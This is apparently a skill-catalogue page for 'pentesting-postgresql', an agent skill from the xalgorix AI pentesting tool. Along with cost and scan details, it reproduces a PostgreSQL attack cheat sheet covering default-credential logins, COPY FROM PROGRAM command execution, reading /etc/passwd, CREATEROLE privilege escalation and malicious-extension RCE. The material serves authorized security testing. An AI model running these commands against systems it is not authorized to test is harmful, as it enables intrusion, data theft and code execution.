xalgorix/xalgorix is a self-hosted AI penetration-testing tool in which an LLM agent performs reconnaissance, looks for vulnerabilities, and coordinates exploitation, while a separate verifier re-tests findings before reporting them. It is for security teams, ethical hackers, and bug bounty work using a private, bring-your-own-LLM setup. The catalogue skills extend the agent's pentesting workflow.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add xalgorix/xalgorix --skill pentesting-postgresqlgit clone --depth 1 https://github.com/xalgorix/xalgorixWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-postgresql)<a href="https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-postgresql"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-postgresql/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/xalgorix/xalgorix/pentesting-postgresql"><img src="https://agentmods.dev/badge/skills/xalgorix/xalgorix/pentesting-postgresql.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00072 | $0.02420 |
| Opus 5.5 | $0.00029 | $0.00968 |
| Sonnet 5.5 | $0.00014 | $0.00484 |
| Haiku 4.5 | $0.00007 | $0.00242 |
Grade A, and why
pentesting-postgresql scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 167 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Pentesting PostgreSQL (port 5432)
When to Use
- Default port
5432/tcp(pgsql); if in use, PostgreSQL often falls back to5433. - Banner/
nmapshowspostgresql/pgsql; a\listshowing anrdsadmindatabase means you are on AWS RDS. - Use with recovered creds, when
pg_hba.conftrustauth is suspected, or to escalate fromCREATEROLE/superuser to OS command execution.
Quick Enumeration
# Version + scripts
nmap -sV -p5432 <IP>
msfconsole -q -x 'use auxiliary/scanner/postgres/postgres_version; set RHOSTS <IP>; run; exit'
# Connect
psql -h <IP> -U postgres # prompts for password
psql -h <IP> -p 5432 -U postgres -d postgres # specify db
PGPASSWORD=postgres psql -h <IP> -U postgres
-- Inside psql
\list -- databases
\du+ -- roles
SELECT version();
SELECT current_setting('is_superuser'); -- 'on' = superuser
Critical: Checks Most Often Missed
trustauth / defaultpostgres:postgres— local and sometimes remote connections require no password due topg_hba.conftrustlines; default credspostgres:postgresare common.- How to CONFIRM:
PGPASSWORD=postgres psql -h<IP> -U postgres -c 'select version();'succeeds, orpsqlconnects with no password prompt.
- How to CONFIRM:
COPY ... FROM PROGRAMOS command execution — superusers and members ofpg_execute_server_programcan run arbitrary OS commands (PostgreSQL 9.3+). Reported as CVE-2019-9193 but Postgres treats it as a feature.- How to CONFIRM:
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(o text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;returnsuid=....
- How to CONFIRM:
- Server file read/write via COPY and
pg_read_*/lo_*—pg_read_server_files/pg_write_server_filesmembers read and write any path; large objects (lo_import/lo_export) handle binary files.- How to CONFIRM:
CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo;returns the file, orSELECT pg_read_file('/etc/passwd',0,1000);.
- How to CONFIRM:
- CREATEROLE privilege escalation — a role with
CREATEROLEcan grant itself membership ofpg_execute_server_program/pg_read_server_files/pg_write_server_filesand change non-superuser passwords, then reach RCE.- How to CONFIRM:
GRANT pg_execute_server_program TO "<me>";succeeds.
- How to CONFIRM:
- Config-file / extension RCE (as superuser) — overwrite
postgresql.confto abusessl_passphrase_command,archive_command, orsession_preload_libraries+dynamic_library_path, thenpg_reload_conf(); or compile a malicious extension.soandCREATE FUNCTION ... LANGUAGE C. dblinkblind brute / port scan — connection errors fromdblink_connectleak host/port state and auth results.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 167 lines · 72 tokens per session scan A cd071994ffd2
pentesting-postgresql is a skill published in the GitHub repository xalgorix/xalgorix (1,531 stars, last pushed today), licensed Apache-2.0. It adds 72 tokens to every session and 2,420 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-11-23.
pentesting-postgresql compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| pentesting-postgresqlxalgorix/xalgorix | Skill | 1.5k | today | Apache-2.0 | A | 72 | Claude Code, Codex |
| cis-aws-database-3.1CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 17 | Claude Code, Codex |
| cis-aws-database-4.1CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 22 | Claude Code, Codex |
| cis-aws-database-4.8CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 16 | Claude Code, Codex |
| supabase-audit-rpcyoanbernabeu/supabase-pentest-skills | Skill | 78 | 10mo ago | none | A | 24 | Claude Code |
| supabase-extract-db-stringyoanbernabeu/supabase-pentest-skills | Skill | 78 | 10mo ago | none | A | 31 | Claude Code |
| cis-aws-foundations-4.3CyberStrikeus/CyberStrike | Skill | 3.8k | today | AGPL-3.0 | A | 18 | Claude Code, Codex |